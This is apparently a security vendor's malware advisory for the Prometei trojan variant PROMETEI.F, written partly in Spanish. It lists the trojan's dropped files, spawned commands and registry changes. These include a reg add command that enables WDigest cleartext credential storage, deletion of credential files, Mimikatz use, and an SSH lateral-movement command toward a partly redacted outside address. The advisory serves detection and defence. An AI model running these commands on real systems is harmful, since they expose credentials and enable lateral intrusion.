Trojan.Win32.PROMETEI.F

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Elimina archivos para impedir la ejecución correcta de programas y aplicaciones.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• %Windows%\dell\{IP Address}.cpass → contains encoded credentials
• %Windows%\dell\net{Ip Address}.map

(Nota: %Windows% es la carpeta de Windows, que suele estar en C:\Windows o C:\WINNT).

Agrega los procesos siguientes:

• "%System%\cmd.exe" /C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /f /t REG_DWORD /d 1
• reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /f /t REG_DWORD /d 1
• "%System%\cmd.exe" /c del *.cpass
• "%Windows%\dell\rdpciip.exe" scan
• "%Windows%\dell\windrlver.exe" ssh {IP Address}:{Port} "%Windows%\dell\{IP Address}" {BLOCKED}.{BLOCKED}.123.34 HV

Otras modificaciones del sistema

Elimina los archivos siguientes:

• %Windows%\dell\{Ip Address}.cpass

(Nota: %Windows% es la carpeta de Windows, que suele estar en C:\Windows o C:\WINNT).

Modifica las siguientes entradas de registro:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\SecurityProviders\WDigest value
UseLogonCredential = 1

Otros detalles

Hace lo siguiente:

• It must be executed on a specific directory in order to continue to its malicious routine.
• It has the following capability:
• If executed with "scan" as a commandline parameter, It will scan the for any available remote server.
• Retrieved remote servers will be saved as %Windows%\dell\net{IP address}.map
• It executes windrlver.exe detected as → Trojan.Win32.PROMETEI.E
• It leverages windlver.exe to spread laterally by trying to gain login access on remote servers.
• Execute "miWalk.exe" detected as → HackTool.Win32.Mimikatz.CNGH
• If executed, it will drop %Windows%\dell\slldata2.dll which contains extracted user machine credentials.
• It executes windrlver.exe and will try to establish a secure shell connection on targeted IP address using port 22.
• "%Windows%\dell\windrlver.exe" ssh {IP address}:22 "%Windows%\dell\{IP address}" {BLOCKED}.{BLOCKED}.123.34 HV